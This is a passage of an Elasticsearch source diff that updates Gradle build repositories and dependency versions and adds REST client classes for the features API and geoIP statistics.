mavenCentral() } repositories { @@ -46,7 +46,7 @@ repositories { artifact() } } - jcenter() + mavenCentral() } // todo remove offending rules diff --git a/buildSrc/src/testKit/reaper/build.gradle b/buildSrc/src/testKit/reaper/build.gradle index 133f1a66d4e33..26e47aa9862ec 100644 --- a/buildSrc/src/testKit/reaper/build.gradle +++ b/buildSrc/src/testKit/reaper/build.gradle @@ -2,9 +2,13 @@ plugins { id 'elasticsearch.reaper' } +import org.elasticsearch.gradle.ReaperPlugin; +import org.elasticsearch.gradle.util.GradleUtils; + tasks.register("launchReaper") { doLast { - def reaper = project.extensions.getByName('reaper') + def serviceProvider = GradleUtils.getBuildService(project.getGradle().getSharedServices(), ReaperPlugin.REAPER_SERVICE_NAME); + def reaper = serviceProvider.get() reaper.registerCommand('test', 'true') reaper.unregister('test') } diff --git a/buildSrc/src/testKit/symbolic-link-preserving-tar/build.gradle b/buildSrc/src/testKit/symbolic-link-preserving-tar/build.gradle index d61e9cf879d0f..f7a9d5f8a192f 100644 --- a/buildSrc/src/testKit/symbolic-link-preserving-tar/build.gradle +++ b/buildSrc/src/testKit/symbolic-link-preserving-tar/build.gradle @@ -1,9 +1,10 @@ -import org.elasticsearch.gradle.tar.SymbolicLinkPreservingTar +import org.elasticsearch.gradle.internal.SymbolicLinkPreservingTar plugins { id 'base' id 'distribution' - id 'elasticsearch.symbolic-link-preserving-tar' + // we need to add one of our plugins to get things on this classpath + id 'elasticsearch.global-build-info' apply false } final String source = Objects.requireNonNull(System.getProperty('tests.symbolic_link_preserving_tar_source')) diff --git a/buildSrc/src/testKit/testingConventions/build.gradle b/buildSrc/src/testKit/testingConventions/build.gradle index fe2bc6cc093c9..7e8b176481e54 100644 --- a/buildSrc/src/testKit/testingConventions/build.gradle +++ b/buildSrc/src/testKit/testingConventions/build.gradle @@ -7,7 +7,7 @@ allprojects { apply plugin: org.elasticsearch.gradle.internal.precommit.TestingConventionsPrecommitPlugin repositories { - jcenter() + mavenCentral() } dependencies { testImplementation "junit:junit:4.12" diff --git a/buildSrc/src/testKit/thirdPartyAudit/build.gradle b/buildSrc/src/testKit/thirdPartyAudit/build.gradle index e324e891be7e7..f7f032ca3f8a9 100644 --- a/buildSrc/src/testKit/thirdPartyAudit/build.gradle +++ b/buildSrc/src/testKit/thirdPartyAudit/build.gradle @@ -1,5 +1,5 @@ -import org.elasticsearch.gradle.precommit.ThirdPartyAuditPrecommitPlugin -import org.elasticsearch.gradle.precommit.ThirdPartyAuditTask +import org.elasticsearch.gradle.internal.precommit.ThirdPartyAuditPrecommitPlugin +import org.elasticsearch.gradle.internal.precommit.ThirdPartyAuditTask plugins { @@ -25,7 +25,7 @@ repositories { artifact() } } - jcenter() + mavenCentral() } dependencies { diff --git a/buildSrc/version.properties b/buildSrc/version.properties index bc4a7a427d7fa..29bf3154eee40 100644 --- a/buildSrc/version.properties +++ b/buildSrc/version.properties @@ -1,16 +1,16 @@ elasticsearch = 8.0.0 -lucene = 8.8.0 +lucene = 8.9.0-snapshot-efdc43fee18 bundled_jdk_vendor = adoptopenjdk -bundled_jdk = 15.0.1+9 +bundled_jdk = 16.0.1+9 checkstyle = 8.39 # optional dependencies spatial4j = 0.7 jts = 1.15.0 -jackson = 2.10.4 -snakeyaml = 1.26 +jackson = 2.12.2 +snakeyaml = 1.27 icu4j = 62.1 supercsv = 2.4.0 # when updating log4j, please update also docs/java-api/index.asciidoc @@ -19,10 +19,12 @@ slf4j = 1.6.2 ecsLogging = 0.1.3 # when updating the JNA version, also update the version in buildSrc/build.gradle -jna = 5.5.0 +jna = 5.7.0-1 -netty = 4.1.49.Final -joda = 2.10.4 +netty = 4.1.63.Final +joda = 2.10.10 + +commons_lang3 = 3.9 # when updating this version, you need to ensure compatibility with: # - plugins/ingest-attachment (transitive dependency, check the upstream POM) @@ -32,6 +34,7 @@ bouncycastle=1.64 # test dependencies randomizedrunner = 2.7.7 junit = 4.12 +junit5 = 5.7.1 httpclient = 4.5.10 httpcore = 4.4.12 httpasyncclient = 4.1.4 @@ -48,3 +51,6 @@ jmh = 1.26 # when updating this version, also update :qa:evil-tests jimfs = 1.2 jimfs_guava = 30.1-jre + +# test framework +networknt_json_schema_validator = 1.0.48 diff --git a/client/client-benchmark-noop-api-plugin/build.gradle b/client/client-benchmark-noop-api-plugin/build.gradle index d6277d16556f0..198775e61b8a2 100644 --- a/client/client-benchmark-noop-api-plugin/build.gradle +++ b/client/client-benchmark-noop-api-plugin/build.gradle @@ -8,7 +8,7 @@ group = 'org.elasticsearch.plugin' -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' esplugin { name 'client-benchmark-noop-api' diff --git a/client/rest-high-level/build.gradle b/client/rest-high-level/build.gradle index 6872f6e7da894..4e716c5585a42 100644 --- a/client/rest-high-level/build.gradle +++ b/client/rest-high-level/build.gradle @@ -1,5 +1,5 @@ -import org.elasticsearch.gradle.test.RestIntegTestTask -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.test.RestIntegTestTask +import org.elasticsearch.gradle.internal.info.BuildParams /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one @@ -8,7 +8,7 @@ import org.elasticsearch.gradle.info.BuildParams * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -apply plugin: 'elasticsearch.testclusters' +apply plugin: 'elasticsearch.internal-testclusters' apply plugin: 'elasticsearch.build' apply plugin: 'elasticsearch.rest-test' apply plugin: 'elasticsearch.publish' @@ -24,7 +24,7 @@ ext.projectLicenses = ['Elastic License 2.0': ext.elasticLicenseUrl] restResources { //we need to copy the yaml spec so we can check naming (see RestHighlevelClientTests#testApiNamingConventions) restApi { - includeCore '*' + include '*' } } @@ -50,7 +50,11 @@ dependencies { testImplementation(project(':x-pack:plugin:core')) { exclude group: 'org.elasticsearch', module: 'elasticsearch-rest-high-level-client' } + testImplementation(project(':modules:ingest-geoip')) { + exclude group: 'com.fasterxml.jackson.core', module: 'jackson-annotations' + } testImplementation(project(':x-pack:plugin:eql')) + testImplementation(project(':x-pack:plugin:ql:test-fixtures')) } tasks.named('forbiddenApisMain').configure { @@ -63,6 +67,8 @@ tasks.named('forbiddenApisMain').configure { File nodeCert = file("./testnode.crt") File nodeTrustStore = file("./testnode.jks") File pkiTrustCert = file("./src/test/resources/org/elasticsearch/client/security/delegate_pki/testRootCA.crt") +File httpCaKeystore = file("./httpCa.p12"); +File transportKeystore = file("./transport.p12"); tasks.named("integTest").configure { systemProperty 'tests.rest.async', 'false' @@ -112,4 +118,9 @@ testClusters.all { extraConfigFile nodeCert.name, nodeCert extraConfigFile nodeTrustStore.name, nodeTrustStore extraConfigFile pkiTrustCert.name, pkiTrustCert + extraConfigFile httpCaKeystore.name, httpCaKeystore + extraConfigFile transportKeystore.name, transportKeystore + + setting 'xpack.searchable.snapshot.shared_cache.size', '1mb' + setting 'xpack.searchable.snapshot.shared_cache.region_size', '16kb' } diff --git a/client/rest-high-level/httpCa.p12 b/client/rest-high-level/httpCa.p12 new file mode 100644 index 0000000000000..b588f1c55205c Binary files /dev/null and b/client/rest-high-level/httpCa.p12 differ diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/ClusterClient.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/ClusterClient.java index 550ea1199c74c..558c7888bc0e3 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/ClusterClient.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/ClusterClient.java @@ -273,4 +273,5 @@ public Cancellable existsComponentTemplateAsync(ComponentTemplatesExistRequest c return restHighLevelClient.performRequestAsync(componentTemplatesRequest, ClusterRequestConverters::componentTemplatesExist, options, RestHighLevelClient::convertExistsResponse, listener, emptySet()); } + } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/FeaturesClient.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/FeaturesClient.java new file mode 100644 index 0000000000000..a26e1dcc8843d --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/FeaturesClient.java @@ -0,0 +1,122 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client; + +import org.elasticsearch.action.ActionListener; +import org.elasticsearch.client.feature.GetFeaturesRequest; +import org.elasticsearch.client.feature.GetFeaturesResponse; +import org.elasticsearch.client.feature.ResetFeaturesRequest; +import org.elasticsearch.client.feature.ResetFeaturesResponse; + +import java.io.IOException; + +import static java.util.Collections.emptySet; + +/** + * A wrapper for the {@link RestHighLevelClient} that provides methods for accessing the Snapshot API. + *

+ * See Snapshot API on elastic.co + */ +public class FeaturesClient { + private final RestHighLevelClient restHighLevelClient; + + FeaturesClient(RestHighLevelClient restHighLevelClient) { + this.restHighLevelClient = restHighLevelClient; + } + + /** + * Get a list of features which can be included in a snapshot as feature states. + * See Get Snapshottable + * Features API on elastic.co + * + * @param getFeaturesRequest the request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @return the response + * @throws IOException in case there is a problem sending the request or parsing back the response + */ + public GetFeaturesResponse getFeatures(GetFeaturesRequest getFeaturesRequest, RequestOptions options) + throws IOException { + return restHighLevelClient.performRequestAndParseEntity( + getFeaturesRequest, + FeaturesRequestConverters::getFeatures, + options, + GetFeaturesResponse::parse, + emptySet() + ); + } + + /** + * Asynchronously get a list of features which can be included in a snapshot as feature states. + * See Get Snapshottable + * Features API on elastic.co + * + * @param getFeaturesRequest the request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @param listener the listener to be notified upon request completion + * @return cancellable that may be used to cancel the request + */ + public Cancellable getFeaturesAsync( + GetFeaturesRequest getFeaturesRequest, RequestOptions options, + ActionListener listener) { + return restHighLevelClient.performRequestAsyncAndParseEntity( + getFeaturesRequest, + FeaturesRequestConverters::getFeatures, + options, + GetFeaturesResponse::parse, + listener, + emptySet() + ); + } + + /** + * Reset the state of Elasticsearch features, deleting system indices and performing other + * cleanup operations. + * See Rest + * Features API on elastic.co + * + * @param resetFeaturesRequest the request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @return the response + * @throws IOException in case there is a problem sending the request or parsing back the response + */ + public ResetFeaturesResponse resetFeatures(ResetFeaturesRequest resetFeaturesRequest, RequestOptions options) + throws IOException { + return restHighLevelClient.performRequestAndParseEntity( + resetFeaturesRequest, + FeaturesRequestConverters::resetFeatures, + options, + ResetFeaturesResponse::parse, + emptySet() + ); + } + + /** + * Asynchronously reset the state of Elasticsearch features, deleting system indices and performing other + * cleanup operations. + * See Get Snapshottable + * Features API on elastic.co + * + * @param resetFeaturesRequest the request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * @param listener the listener to be notified upon request completion + * @return cancellable that may be used to cancel the request + */ + public Cancellable resetFeaturesAsync( + ResetFeaturesRequest resetFeaturesRequest, RequestOptions options, + ActionListener listener) { + return restHighLevelClient.performRequestAsyncAndParseEntity( + resetFeaturesRequest, + FeaturesRequestConverters::resetFeatures, + options, + ResetFeaturesResponse::parse, + listener, + emptySet() + ); + } +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/FeaturesRequestConverters.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/FeaturesRequestConverters.java new file mode 100644 index 0000000000000..bb2b8be43cf3b --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/FeaturesRequestConverters.java @@ -0,0 +1,33 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client; + +import org.apache.http.client.methods.HttpGet; +import org.apache.http.client.methods.HttpPost; +import org.elasticsearch.client.feature.GetFeaturesRequest; +import org.elasticsearch.client.feature.ResetFeaturesRequest; + +public class FeaturesRequestConverters { + + private FeaturesRequestConverters() {} + + static Request getFeatures(GetFeaturesRequest getFeaturesRequest) { + String endpoint = "/_features"; + Request request = new Request(HttpGet.METHOD_NAME, endpoint); + RequestConverters.Params parameters = new RequestConverters.Params(); + parameters.withMasterTimeout(getFeaturesRequest.masterNodeTimeout()); + request.addParameters(parameters.asMap()); + return request; + } + + static Request resetFeatures(ResetFeaturesRequest resetFeaturesRequest) { + String endpoint = "/_features/_reset"; + return new Request(HttpPost.METHOD_NAME, endpoint); + } +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/GeoIpStatsResponse.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/GeoIpStatsResponse.java new file mode 100644 index 0000000000000..fad22de5d6800 --- /dev/null +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/GeoIpStatsResponse.java @@ -0,0 +1,222 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.client; + +import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.collect.Tuple; +import org.elasticsearch.common.xcontent.ConstructingObjectParser; +import org.elasticsearch.common.xcontent.ToXContentObject; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentParser; + +import java.io.IOException; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.function.Function; +import java.util.stream.Collectors; + +import static org.elasticsearch.common.xcontent.ConstructingObjectParser.constructorArg; +import static org.elasticsearch.common.xcontent.ConstructingObjectParser.optionalConstructorArg; + +public class GeoIpStatsResponse implements ToXContentObject { + + @SuppressWarnings("unchecked") + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>("geoip_stats", a -> { + Map stats = (Map) a[0]; + List> nodes = (List>) a[1]; + + return new GeoIpStatsResponse((int) stats.get("successful_downloads"), (int) stats.get("failed_downloads"), + ((Number) stats.get("total_download_time")).longValue(), (int) stats.get("databases_count"), (int) stats.get("skipped_updates"), + nodes.stream().collect(Collectors.toMap(Tuple::v1, Tuple::v2))); + }); + + static { + PARSER.declareObject(constructorArg(), (p, c) -> p.map(), new ParseField("stats")); + PARSER.declareNamedObjects(constructorArg(), (p, c, name) -> Tuple.tuple(name, NodeInfo.PARSER.apply(p, c)), + new ParseField("nodes")); + } + + private final int successfulDownloads; + private final int failedDownloads; + private final long totalDownloadTime; + private final int databasesCount; + private final int skippedDownloads; + private final Map nodes; + + public GeoIpStatsResponse(int successfulDownloads, int failedDownloads, long totalDownloadTime, int databasesCount, + int skippedDownloads, Map nodes) { + this.successfulDownloads = successfulDownloads; + this.failedDownloads = failedDownloads; + this.totalDownloadTime = totalDownloadTime; + this.databasesCount = databasesCount; + this.skippedDownloads = skippedDownloads; + this.nodes = nodes; + } + + public int getSuccessfulDownloads() { + return successfulDownloads; + } + + public int getFailedDownloads() { + return failedDownloads; + } + + public long getTotalDownloadTime() { + return totalDownloadTime; + } + + public int getDatabasesCount() { + return databasesCount; + } + + public int getSkippedDownloads() { + return skippedDownloads; + } + + public Map getNodes() { + return nodes; + } + + public static GeoIpStatsResponse fromXContent(XContentParser parser) { + return PARSER.apply(parser, null); + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + GeoIpStatsResponse that = (GeoIpStatsResponse) o; + return successfulDownloads == that.successfulDownloads + && failedDownloads == that.failedDownloads + && totalDownloadTime == that.totalDownloadTime + && databasesCount == that.databasesCount + && skippedDownloads == that.skippedDownloads + && nodes.equals(that.nodes); + } + + @Override + public int hashCode() { + return Objects.hash(successfulDownloads, failedDownloads, totalDownloadTime, databasesCount, skippedDownloads, nodes); + } + + @Override + public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { + builder.startObject(); + builder.startObject("stats"); + { + builder.field("successful_downloads", successfulDownloads); + builder.field("failed_downloads", failedDownloads); + builder.field("skipped_updates", skippedDownloads); + builder.field("total_download_time", totalDownloadTime); + builder.field("databases_count", databasesCount); + } + builder.endObject(); + builder.field("nodes", nodes); + builder.endObject(); + return builder; + } + + public static final class NodeInfo implements ToXContentObject { + @SuppressWarnings("unchecked") + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>("node_info", a -> { + List databases = (List) a[1]; + return new NodeInfo((Collection) a[0], databases.stream().collect(Collectors.toMap(DatabaseInfo::getName, + Function.identity()))); + }); + + static { + PARSER.declareStringArray(optionalConstructorArg(), new ParseField("files_in_temp")); + PARSER.declareObjectArray(optionalConstructorArg(), DatabaseInfo.PARSER, new ParseField("databases")); + } + + private final List filesInTemp; + private final Map databases; + + public NodeInfo(Collection filesInTemp, Map databases) { + this.filesInTemp = List.copyOf(filesInTemp); + this.databases = Map.copyOf(databases); + } + + public List getFilesInTemp() { + return filesInTemp; + } + + public Map getDatabases() { + return databases; + } + + @Override + public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { + builder.startObject(); + builder.field("files_in_temp", filesInTemp); + builder.field("databases", databases.entrySet().stream() + .sorted(Map.Entry.comparingByKey()) + .map(Map.Entry::getValue) + .collect(Collectors.toList())); + builder.endObject(); + return builder; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + NodeInfo nodeInfo = (NodeInfo) o; + return filesInTemp.equals(nodeInfo.filesInTemp) && databases.equals(nodeInfo.databases); + } + + @Override + public int hashCode() { + return Objects.hash(filesInTemp, databases); + } + } + + public static final class DatabaseInfo implements ToXContentObject { + + private static final ConstructingObjectParser PARSER = new ConstructingObjectParser<>("database_info", + a -> new DatabaseInfo((String) a[0])); + + static { + PARSER.declareString(constructorArg(), new ParseField("name")); + } + + private final String name; + + public DatabaseInfo(String name) { + this.name = name; + } + + public String getName() { + return name; + } + + @Override + public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { + builder.startObject(); + builder.field("name", name); + builder.endObject(); + return builder; + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + DatabaseInfo that = (DatabaseInfo) o; + return name.equals(that.name); + } + + @Override + public int hashCode() { + return Objects.hash(name); + } + } +} diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/IngestClient.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/IngestClient.java index a5a00fb3edc4f..9dbf3f7f8f072 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/IngestClient.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/IngestClient.java @@ -16,6 +16,7 @@ import org.elasticsearch.action.ingest.SimulatePipelineRequest; import org.elasticsearch.action.ingest.SimulatePipelineResponse; import org.elasticsearch.action.support.master.AcknowledgedResponse; +import org.elasticsearch.client.core.MainRequest; import java.io.IOException; import java.util.Collections; @@ -39,13 +40,14 @@ public final class IngestClient { * Add a pipeline or update an existing pipeline. * See * Put Pipeline API on elastic.co + * * @param request the request * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized * @return the response * @throws IOException in case there is a problem sending the request or parsing back the response */ public AcknowledgedResponse putPipeline(PutPipelineRequest request, RequestOptions options) throws IOException { - return restHighLevelClient.performRequestAndParseEntity( request, IngestRequestConverters::putPipeline, options, + return restHighLevelClient.performRequestAndParseEntity(request, IngestRequestConverters::putPipeline, options, AcknowledgedResponse::fromXContent, emptySet()); } @@ -53,13 +55,14 @@ public AcknowledgedResponse putPipeline(PutPipelineRequest request, RequestOptio * Asynchronously add a pipeline or update an existing pipeline. * See * Put Pipeline API on elastic.co - * @param request the request - * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * + * @param request the request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized * @param listener the listener to be notified upon request completion * @return cancellable that may be used to cancel the request */ public Cancellable putPipelineAsync(PutPipelineRequest request, RequestOptions options, ActionListener listener) { - return restHighLevelClient.performRequestAsyncAndParseEntity( request, IngestRequestConverters::putPipeline, options, + return restHighLevelClient.performRequestAsyncAndParseEntity(request, IngestRequestConverters::putPipeline, options, AcknowledgedResponse::fromXContent, listener, emptySet()); } @@ -67,13 +70,14 @@ public Cancellable putPipelineAsync(PutPipelineRequest request, RequestOptions o * Get an existing pipeline. * See * Get Pipeline API on elastic.co + * * @param request the request * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized * @return the response * @throws IOException in case there is a problem sending the request or parsing back the response */ public GetPipelineResponse getPipeline(GetPipelineRequest request, RequestOptions options) throws IOException { - return restHighLevelClient.performRequestAndParseEntity( request, IngestRequestConverters::getPipeline, options, + return restHighLevelClient.performRequestAndParseEntity(request, IngestRequestConverters::getPipeline, options, GetPipelineResponse::fromXContent, Collections.singleton(404)); } @@ -81,13 +85,14 @@ public GetPipelineResponse getPipeline(GetPipelineRequest request, RequestOption * Asynchronously get an existing pipeline. * See * Get Pipeline API on elastic.co - * @param request the request - * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * + * @param request the request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized * @param listener the listener to be notified upon request completion * @return cancellable that may be used to cancel the request */ public Cancellable getPipelineAsync(GetPipelineRequest request, RequestOptions options, ActionListener listener) { - return restHighLevelClient.performRequestAsyncAndParseEntity( request, IngestRequestConverters::getPipeline, options, + return restHighLevelClient.performRequestAsyncAndParseEntity(request, IngestRequestConverters::getPipeline, options, GetPipelineResponse::fromXContent, listener, Collections.singleton(404)); } @@ -95,14 +100,15 @@ public Cancellable getPipelineAsync(GetPipelineRequest request, RequestOptions o * Delete an existing pipeline. * See * - * Delete Pipeline API on elastic.co + * Delete Pipeline API on elastic.co + * * @param request the request * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized * @return the response * @throws IOException in case there is a problem sending the request or parsing back the response */ public AcknowledgedResponse deletePipeline(DeletePipelineRequest request, RequestOptions options) throws IOException { - return restHighLevelClient.performRequestAndParseEntity( request, IngestRequestConverters::deletePipeline, options, + return restHighLevelClient.performRequestAndParseEntity(request, IngestRequestConverters::deletePipeline, options, AcknowledgedResponse::fromXContent, emptySet()); } @@ -110,15 +116,16 @@ public AcknowledgedResponse deletePipeline(DeletePipelineRequest request, Reques * Asynchronously delete an existing pipeline. * See * - * Delete Pipeline API on elastic.co - * @param request the request - * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * Delete Pipeline API on elastic.co + * + * @param request the request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized * @param listener the listener to be notified upon request completion * @return cancellable that may be used to cancel the request */ public Cancellable deletePipelineAsync(DeletePipelineRequest request, RequestOptions options, ActionListener listener) { - return restHighLevelClient.performRequestAsyncAndParseEntity( request, + return restHighLevelClient.performRequestAsyncAndParseEntity(request, IngestRequestConverters::deletePipeline, options, AcknowledgedResponse::fromXContent, listener, emptySet()); } @@ -128,14 +135,15 @@ public Cancellable deletePipelineAsync(DeletePipelineRequest request, RequestOpt *

* See * - * Simulate Pipeline API on elastic.co + * Simulate Pipeline API on elastic.co + * * @param request the request * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized * @return the response * @throws IOException in case there is a problem sending the request or parsing back the response */ public SimulatePipelineResponse simulate(SimulatePipelineRequest request, RequestOptions options) throws IOException { - return restHighLevelClient.performRequestAndParseEntity( request, IngestRequestConverters::simulatePipeline, options, + return restHighLevelClient.performRequestAndParseEntity(request, IngestRequestConverters::simulatePipeline, options, SimulatePipelineResponse::fromXContent, emptySet()); } @@ -144,16 +152,27 @@ public SimulatePipelineResponse simulate(SimulatePipelineRequest request, Reques *

* See * - * Simulate Pipeline API on elastic.co - * @param request the request - * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized + * Simulate Pipeline API on elastic.co + * + * @param request the request + * @param options the request options (e.g. headers), use {@link RequestOptions#DEFAULT} if nothing needs to be customized * @param listener the listener to be notified upon request completion * @return cancellable that may be used to cancel the request */ public Cancellable simulateAsync(SimulatePipelineRequest request, RequestOptions options, ActionListener listener) { - return restHighLevelClient.performRequestAsyncAndParseEntity( request, IngestRequestConverters::simulatePipeline, options, + return restHighLevelClient.performRequestAsyncAndParseEntity(request, IngestRequestConverters::simulatePipeline, options, SimulatePipelineResponse::fromXContent, listener, emptySet()); } + + public GeoIpStatsResponse geoIpStats(MainRequest request, RequestOptions options) throws IOException { + return restHighLevelClient.performRequestAndParseEntity(new MainRequest(), IngestRequestConverters::geoIpStats, options, + GeoIpStatsResponse::fromXContent, emptySet()); + } + + public Cancellable geoIpStatsAsync(MainRequest request, RequestOptions options, ActionListener listener) { + return restHighLevelClient.performRequestAsyncAndParseEntity(request, IngestRequestConverters::geoIpStats, options, + GeoIpStatsResponse::fromXContent, listener, emptySet()); + } } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/IngestRequestConverters.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/IngestRequestConverters.java index 25a59270202f9..fc4ca502a0d3a 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/IngestRequestConverters.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/IngestRequestConverters.java @@ -16,6 +16,7 @@ import org.elasticsearch.action.ingest.GetPipelineRequest; import org.elasticsearch.action.ingest.PutPipelineRequest; import org.elasticsearch.action.ingest.SimulatePipelineRequest; +import org.elasticsearch.client.core.MainRequest; import java.io.IOException; @@ -79,4 +80,8 @@ static Request simulatePipeline(SimulatePipelineRequest simulatePipelineRequest) request.setEntity(RequestConverters.createEntity(simulatePipelineRequest, RequestConverters.REQUEST_BODY_CONTENT_TYPE)); return request; } + + static Request geoIpStats(MainRequest ignore) { + return new Request("GET", "_ingest/geoip/stats"); + } } diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/MLRequestConverters.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/MLRequestConverters.java index 9f8a82c33dff7..2106a97889f04 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/MLRequestConverters.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/MLRequestConverters.java @@ -326,14 +326,18 @@ static Request getDatafeedStats(GetDatafeedStatsRequest getDatafeedStatsRequest) return request; } - static Request previewDatafeed(PreviewDatafeedRequest previewDatafeedRequest) { - String endpoint = new EndpointBuilder() + static Request previewDatafeed(PreviewDatafeedRequest previewDatafeedRequest) throws IOException { + EndpointBuilder builder = new EndpointBuilder() .addPathPartAsIs("_ml") - .addPathPartAsIs("datafeeds") - .addPathPart(previewDatafeedRequest.getDatafeedId()) - .addPathPartAsIs("_preview") - .build(); - return new Request(HttpGet.METHOD_NAME, endpoint); + .addPathPartAsIs("datafeeds"); + String endpoint = previewDatafeedRequest.getDatafeedId() != null ? + builder.addPathPart(previewDatafeedRequest.getDatafeedId()).addPathPartAsIs("_preview").build() : + builder.addPathPartAsIs("_preview").build(); + Request request = new Request(HttpPost.METHOD_NAME, endpoint); + if (previewDatafeedRequest.getDatafeedId() == null) { + request.setEntity(createEntity(previewDatafeedRequest, REQUEST_BODY_CONTENT_TYPE)); + } + return request; } static Request deleteForecast(DeleteForecastRequest deleteForecastRequest) { diff --git a/client/rest-high-level/src/main/java/org/elasticsearch/client/RequestConverters.java b/client/rest-high-level/src/main/java/org/elasticsearch/client/RequestConverters.java index 1225dfeb244d5..9d13f4dc23d09 100644 --- a/client/rest-high-level/src/main/java/org/elasticsearch/client/RequestConverters.java +++ b/client/rest-high-level/src/main/java/org/elasticsearch/client/RequestConverters.java @@ -30,7 +30,9 @@ import org.elasticsearch.action.get.MultiGetRequest; import org.elasticsearch.action.index.IndexRequest; import org.elasticsearch.action.search.ClearScrollRequest; +import org.elasticsearch.action.search.ClosePointInTimeRequest; import org.elasticsearch.action.search.MultiSearchRequest; +import org.elasticsearch.action.search.OpenPointInTimeRequest; import org.elasticsearch.action.search.SearchRequest; import org.elasticsearch.action.search.SearchScrollRequest; import org.elasticsearch.action.support.ActiveShardCount; @@ -321,6 +323,7 @@ static Request index(IndexRequest indexRequest) { parameters.withPipeline(indexRequest.getPipeline()); parameters.withRefreshPolicy(indexRequest.getRefreshPolicy()); parameters.withWaitForActiveShards(indexRequest.waitForActiveShards()); + parameters.withRequireAlias(indexRequest.isRequireAlias()); BytesRef source = indexRequest.source().toBytesRef(); ContentType contentType = createContentType(indexRequest.getContentType()); @@ -347,6 +350,7 @@ static Request update(UpdateRequest updateRequest) throws IOException { parameters.withRetryOnConflict(updateRequest.retryOnConflict()); parameters.withVersion(updateRequest.version()); parameters.withVersionType(updateRequest.versionType()); + parameters.withRequireAlias(updateRequest.isRequireAlias()); // The Java API allows update requests with different content types // set for the partial document and the upsert document. This client @@ -399,7 +403,9 @@ static void addSearchRequestParams(Params params, SearchRequest searchRequest) { params.withPreference(searchRequest.preference()); params.withIndicesOptions(searchRequest.indicesOptions()); params.withSearchType(searchRequest.searchType().name().toLowerCase(Locale.ROOT)); - params.putParam("ccs_minimize_roundtrips", Boolean.toString(searchRequest.isCcsMinimizeRoundtrips())); + if (searchRequest.isCcsMinimizeRoundtrips() != SearchRequest.defaultCcsMinimizeRoundtrips(searchRequest)) { + 